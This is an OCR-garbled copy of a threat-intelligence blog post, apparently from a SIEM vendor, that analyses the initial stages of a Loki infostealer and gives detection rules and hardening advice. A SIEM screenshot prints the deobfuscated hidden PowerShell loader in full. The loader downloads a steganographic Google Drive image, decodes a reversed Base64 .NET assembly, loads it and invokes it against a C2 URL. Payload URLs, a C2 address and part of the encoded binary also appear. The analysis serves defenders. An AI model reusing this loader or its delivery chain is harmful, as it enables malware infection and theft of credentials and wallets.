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Background

While browsing through recent uploads in MalwareBazaar — a comprehensive database of known malware

samples — we discovered a Loki malware sample belonging to a previously unexamined malware family.

Loki is a type of information-stealing malware known for exfiltrating sensitive data, such as credentials,
cryptocurrency wallets, and other personal information, often targeting Windows systems. It typically employs
various techniques for persistence, obfuscation, and communication with its command-and-control (C2) servers,

making it a significant threat in the cyber landscape.

Intrigued by its potential uniqueness, we selected it for further analysis. In this blog, we will focus exclusively on

the initial stages of the infection.
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Sample Analysis

During dynamic analysis, the sample exhibited several familiar behaviors often observed in other malware we've
encountered regularly. However, as we dug deeper, we noticed a range of underlying functions that set it apart.

Interestingly, at the time of this analysis, the initial delivery sites for this malware were still active.
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Downloading the payload from the site

With the sample downloaded, let's dive into the analysis. The initial HTA file contains multiple layers of URL
encoding. After decoding, we found the payload was further obfuscated using Base64 encoding and a character

substitution technique.
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Recipe BmF  input + 0308 =
<script language=JavaScript>m="%3Cscript¥20language%3DlavaScript%3Em¥3D%27%253Cscript¥253E%28

URL Decode & n

URL Decode S n

URL Decode Q n

URL Decode O n

URL Decode Q n

Remove whitespace
sz 211464 = 1 Tr Raw Bytes & LF

Spaces Carriage returns (\r) Line feeds (\n) Output 0 I—D m o

<scriptlanguage=JavaScript»m="<scriptlanguage=JavaScript>m="<script><!--

Tabs Form feeds (\f) D Full stops document.write(unescape(“<scriptlanguage=lavaScriptsm="<script><!--
document.write(unescape(”<!DOCTYPEhtml><metahttp-equiv="X-UA-
Compatible”content="IE=EmulatelE8"><html><body>
<sCrIPT1ANgUAge="VbScRipT">DiMOCpyLSiQittipCvMvdYVbYNgMXDIyXvZ1VidpZmjkOIRLVpYukivvdptBSOND
1¥ytwkxIhCnXqimStUHeBdpRBG1AwuMIRINgkfjiBKOAqjigAGZyghHgIhPzozEPE1PmonvXOEQNXAWCWNTBVPZiQX
ITiKgAMMhBzrhygtuGbOfcwXPILISTInsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF, PoRkkq
jvbkMUvpXeCSCGms0dIUQlGcAUIUNgSiqyuViPVigbHZeseLYFNCcVukIEhbtljkiiGoWeAZgvghNVIcDhcTBgSDYF
QLePshg0trScsnNAItyD1RZAFVhhhHpMUZogCVF dgfUXGCHHWIhGRHGWRIRmwaF PATUZ TJaRdFidy skcEh]SKYUMG
yLSiMARUQhBMMS rUUKbmPBmNYbWuk inAYRFHhKaFYVIH1VM: setOCpyLSiQittipCvMvdYVbYNgMXDIyXvZ1vidpZm
jkOIRLVpYuhvvdptBSONolYytwkxIhCnXqimStUHeBdpRBG1AwuMIRINgkf jiBKOAQjigAGZyghHglhPzozEPE1Pmo

Decoding the HTA payload in CyberChef

We obtained a PowerShell command that, once decoded, revealed the following.
Syntax Highlighter

This is the decoded code:

Syntax Highlighter

The payload uses PowerShell to execute additional actions. Specifically, it loads urlmon.dll and leverages its

functions to download a payload from the URL
hxxp://104[.1168[.17[.152/35/picturewithattitudeeventforallthings.tif . Once downloaded, this file is

saved as picturewithattitudeeventforallthings.vbs under %user%\AppData\Roaming\ directory.
After the VBS file was executed with wscript.exe , the following command was executed:
Syntax Highlighter

Once again, Base64 encoding and junk character insertion were used to obfuscate the command. The purpose of
this command is to download an image from Google Drive at the URL hxxps://drive[.]google[.]com/uc?
export=download&id=1UyHqwrnXC1KBJ3j63L11t2StVgGxbSto .

Steganography has been applied to the image to conceal additional Base64-encoded instructions.
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Google Drive hosted image

The script retrieves the hidden obfuscated, reversed Base64 payload from the Google Drive image, decodes it,
loads it as a .NET assembly, and then invokes a method within that assembly. Each step includes layers of
obfuscation—such as string concatenation, junk insertion, Base64 reversal, and dynamic replacements—to hinder
analysis and evade detection. This technique, commonly used in malware, allows malicious code to be loaded

dynamically without being directly written to disk.

Here is the Base64-encoded payload, which was embedded in reverse order within the image.
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Recipe B R  input + 02§ =
® n AwAg LAADAUAQNAEDAUAgMAMAUBwbﬂkGAZEgCAUGAHBA IAKHASBgYAeGAlBNCAMHABBQMI(MSMAAMAMAQLA
SRS ADAUAQMAEDAUAGMAAAAUBWbAKGAZBECAUGANBAGAMGA]BAZ ABGAY BAUAE AATAGNAAAAYBQZ AGA1BAZAUGACB
. YAMF ArBucAEGAUBELATDAZAgbAKGAXBELAQHAMBWbAMHAYBEC AMGAPBQT AAAAAAQZABGAhBETAQHABQAAQGAY
Character BECAAFABAGHAWFAAAADAWGAKBELATHAL BADAUHAKBQZAZGA] BWUASGAZBQYAQF AUAZMAMDAUBQaACFAUAAJAYG
AvBWCABGAYBWYAKGANBAAAUGATBQYA4GALBADAKGAGBADAEGAUBQaACGAPBECABEABAGTAWGAAAANATIDANAGHMA
@CAy AAMAADAYAATAKKAZAADAGGANBQAATHASBACASGADBAAAQHAOBHZAKGAYBQe AAHAYBWQAWGAhBHZAUGAMBQ
From Base64 © 1l AAYBAQBAAAWGASBAZA4CAYBQZAWGA1BAZAUGAOBWYAMFArBrCAEGAUBELAIDAZAGbAKGAXBELAQHAMBWDAMHAY
BgCAMGAPBQTAAAA BQbAEGAOBADAEGAUBECAUGARBEbAKEABAETAQGAAAAAAADAUAAMAIC AXAQMAACAY HARAAA
Alphabet . AuBwbAKGAZBgCAUGAWBQZ AWGADBERAEAATAGMAAAAY BQZAWGA1BAZAUGAOBWYAMF ArBuCAEGAUBGLATDAZAGbA
A-Za-z8-9+/= kGAXBgLAQHAMBWbAMHAVBZCAMGAPBQTAAAAAAGbABGADBAdAAHADBE CAMGAZBQZAQEA]BADAKGAGBQAA4BAKBA
ARAAASBAJAKGAUBQAAGGABHDAMEAZAZYAUHATBAJAKGAHBAAAAAA] BQDAEGAOBQeAGAhBACABGAVBWQAEAAR
Remove non-alphabet chars ] Striet mode AgQAAAAUAAJATHAVBACAAHALBIWCAACAUBYDAKGABBQYACHADBADAEGABHDAWGAGAZ CASGAMBAT AMHA3BbAWG
AsBQYAACAKBEbAEGAgAWCAIGAYBQaAMHAY BQZAYHAGAQZAWGAWBQaAQHAS BQJABGAZAQZAEGABBAT AMHALBACA
EGANBQZATHANBWZAEGAGAAL ACGAUBQaAQGAVBUYAACA] BAAQHAZAWCAUGADBEZAKGASBACABGAPBHCAACABBQ

Detect File Type Qn e 1845221 = 1 ) ) B o B Tr Rau 'E',‘tss & LF

Output B0 m::

MZ e nuiem

lmages Video Audio Documents

f! :Li!This program cannot be run in DOS mode. s -
& Applications [ Archives Miscellaneous $w <PEncuweLson oo B v sor@ruusmacuu s wowoweeoweotNS e

LNULNULNUL ® NAKNULNU

w5 ek

ULNLLNULNULNULNUL!

uusuivuees  suosutHauewewo

@vuruu@. reloCsuivu Fr wuLvuLvLY UL NAKNULAULSTX
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In summary, the VBS payload instructs the system to visit an image hosted on Google Drive, where it retrieves a
hidden, Base64-encoded payload. This encoded portion is then reversed, decoded, and the code is injected into the

aspnet_regbrowsers.exe process as seen in the Process Tree below.

ASPNET_REGBROWSERS.EXE
515 =]

MSHTA.EXE POWERSHELL.EXE WSCRIPT.EXE POWERSHELL.EXE POWERSHELL.EXE e°
29m 44s 1s A Bs Os A R
o0 oo e [ ] L) ASPNET_REGBROWSERS.EXE
51s
oo

Process tree of infection chain

Then the injected process further starts to communicate with C2, and attempts to drop other payloads into the

system which at the moment of testing was already down so were not able to observe further activities.

£LDLDL LEG.BIUIIE B3 U0 LS. L20 1v. 2.9, 100 LK LY BY + DLLDL |ALK] dEQ=1 ACK=Z3/ WIN=3¥330 Len=o
25263 128.878796 18.2.8.180 94.156.177.228 HTTP 189 POST /simple/five/fre.php HTTP/1.0

25275 129.826626 94.156.177.228 10.2.0.180 TCP 60 88 + 51251 [ACK] Seq=1 Ack=382 Win=31366 Len=0

25276 129.851786 94.156.177.228 18.2.8.188 HTTP 292 HTTP/1.1 484 Not Found (text/html)

Network Connection to C2

Detection of Loki with guardsix SIEM

As demonstrated in the Loki sample analyzed above, the techniques employed are commonly utilized by other
initial loaders and droppers to evade detection. Detecting these techniques is critical, as they reflect an increasing

trend among malware to bypass conventional defenses.

To effectively detect these behaviors, having proper auditing configurations in place is crucial to ensure the

generation of relevant logs. Specific log sources are fundamental for effective threat detection and hunting. Below

Page 4 of 7


https://docs.guardsix.com/docs/process-tree/en/latest/index.html

https://logpoint.com /en/blog/emerging-threats/hiding-in-plain-sight-the-subtle-art-of-loki-malwares-obfuscation

is a list of key sources required for our detection strategy with guardsix SIEM:

1. Windows

o Process creation with command-line auditing should be enabled.
2. Windows Sysmon

o To get started, you can use our sysmon baseline configuration.

3. Network Logs

o Firewall, IDS/IPS logs

Below is a list of vendor alerts that can help detect the aforementioned techniques used by malware.

1. Suspicious MSHTA Process Pattern

The initial payload execution of .vbs was done with mshta.exe a Windows internal binary. This alert can
detect such behavior as it looks for the execution of mshta.exe from suspicious locations or the execution of file

from a non-standard path.
Syntax Highlighter

2. Suspicious PowerShell Parameter Substring Detected
Given that many of the attack steps utilized PowerShell and its cmdlets, this alert detects the use of suspicious
PowerShell commandlets commonly linked to malicious activities, such as executing Base64-encoded payloads or

downloading remote files through PowerShell cmdlets.

Syntax Highlighter
label= label=Create Use wizard 1/1 w LAST7DAYS w
IN [ . ]
command N [ ) A f i . ¥

; : ; ]

| chart count() by command

48 logs © AddSearchTo ¥  fr More ¥  Chart

H H

command

“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command *('iXKim'+"ag'+'eUrl = NQOhttps://
drive.google’+'.com/uc?export=download&id=1UyHqwrnXCIKBJ3j&3L11t25tVgGxb5t0 NQO;iXKwebClient = New-Object Sy'+'stem.Net.W'+'ebClient;iXK'+'imageBytes =
iX'+'KwebClient.DownloadData(iXKimageUrl);iXKimageText = [System.Text.En'+'coding]::'+'UTFB8.GetString(iXKimageBytes);iXKstartFlag = NQ0<<BASE64_START>>NQO;iXKendFlag =
NQO<<BASE64_END>>NQO;iXKstartindex = iXKimageText.IndexOf{iXKstartFlag);iXKendIndex = iXKimageText.IndexOf(iXKendFlag);iXKstartindex -ge 0 -and iXKend'+'Index -gt
iXKstartindex;iXKstartindex += iXKstartFlag'+' Length;iXKbaseé4Length = iXKendIndex'+' - iXKstartIn'+'dex;iXKbase64Command = iXKimageText. Substrin'+'g(iXKst"+'artindex,'+'
iXKbaseb4Length);iXKbaseédReversed = -jo'+'in (iXKba'+'se64Command.ToCharArray() 2CQ ForEach-Object { iXK_ J)[-1..-(iXKbase64Co'+'mmand.Length)];iXKcommandBytes =
[System.Co'+'nvert]::FromBase645tring(iXKbaseé4Reversed);iXKloadedAssembly = [System.Reflection.Assembly]::Load(iXKcommandBytes);iXKvaiMethed =
[dnlib.lIO.Home].GetMethod(NQOVAINQO);iXKvaiMethod.I'+ ' nvoke(iXKnull, @(NQOtxt.ULLPMS/53/25.7.861.401//:ptthNQ0, NQOdesativadoNQO, NQOdesativado'+'NQO,
NQOdesativadoNQO, NQOaspnet_regbrowsersNQ0, NQOdesativadoNQO,
NQ'+'OdesativadoNQ0,NQOdesativadoNQO,NQOdesativadoNQO0,NQOdesativa'+'doNQ0,NQ0desativadoNQO,NQOdesat'+'ivadoNQO,NQ01NQO,NQOdesativadoNQQ));').REPlace('2CQ', ..
[sTriNg][char]36).REPlacel(([char]78+[char]81+[char]48),[sTriNg][char]39) | . { $shEILID[1]+$sHeLliD[13]+'X")"

“C:A\Windows\System32\WindowsPowerShell\v1.0\powershell .exe" -Ex BYPaSS -NOP -W 1 -C dEVIcEcrEDEnTIAIDePIOYmENt.EXe

"C:\Windows\System32\WindowsPowerShell\w1.0\powershell.exe" -command $Codigo =
'KCdpWEtpbScr2FnJysnZVWybCAFIESRMGhOdHBzOiBvZH pdmUuZ29vZ 2xlJysnLmNvb591Yz9leHBvenQ3ZGI3bmxvYWQmaWQIMVV5SHF 3cm5YQ2xL Qkozaj Yz TGwxdDJTdFZnR3hiU3..
$OWijuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]:: Frombaseb4String($codigo));powershell.exe -windowstyle hidden -executionpalicy bypass -NoProfile -command
$OWjuxD
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3. Usage of Web Request Command

Multiple stages of payloads were downloaded, so this alert can be used to detect such events where Windows

binary and powershell commandlets have been used to download files.

Syntax Highlighter

4. Suspicious File Execution Using Wscript or Cscript

The VBS payload was executed using wscript.exe , making this alert effective for detecting the execution of

scripting files such vbs files via wscript.exe or cscript.exe.

Syntax Highlighter
label= label= Use wizard 1/1 w LAST7DAYS w
[ , ]
command IN [ , i P . . ] command IN [
' ’ ' ]
parent_process = command=
| () user,hast,| ,command
-
B logs 3 Add SearchTo ¥ d More ¥ Chart
user host process command §
wadmin  dev C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\W5cript.exe" “C:\Users\wadmin\AppData\Roaming\picturewithattitudeevenbetterforallthin.vbs"
wadmin  dev C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\wadmin\AppData\Roaming\picturewithattitudeevenbetterforallthin.vbs"
wadmin  dev C:\Windows\SysWOW6é4\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\wadmin\AppData\Roaming\picturewithattitudeevenbetterforallthin.vbs"
wadmin  dev C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\wadmin\AppData\Roaming\picturewithattitudeevenbetterforallthin.vbs"
Recommendations

Block Execution of Suspicious File Types and Windows Binaries:
Block potentially exploited file types such as .vbs , .hta ,and .msi , which are commonly used by
threat actors for payload distribution. Allow exceptions only for trusted system processes or specific users

to avoid disrupting legitimate use cases.

Restrict User Permissions and Software Installation:

Limit users' ability to install and run unauthorized software.

Regular Software Updates:
Ensure devices, browsers, and other software applications are regularly updated to protect against known

vulnerabilities and cyber threats.

Implement Endpoint Detection and Response (EDR) Solutions:
Deploy advanced EDR tools to monitor suspicious activity, especially around script execution and binary
downloads. This helps detect malware behaviors early, particularly when unconventional techniques, like

those seen in the Loki malware analysis, are used.

Monitor and Restrict Web Browsing:

Monitor users’ web browsing habits and restrict access to potentially harmful websites or content that could
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lead to malware downloads.

e Enhance System Monitoring and Logging:
Proper logging, asset visibility, and system monitoring are critical for cybersecurity. Implement regular
auditing to track user activity and identify anomalies. Comprehensive log collection across all systems is

essential for effective threat detection and analysis

e Ensure Proper Log Retention and Visibility:
Establish a log retention policy to store system and network logs for at least six months. This will provide

sufficient data to trace the origin and timeline of any security incident, ensuring a comprehensive response.

Source: https://logpoint.com/en/blog/emerging-threats/hiding-in-plain-sight-the-subtle-art-of-loki-malwares-obfuscation
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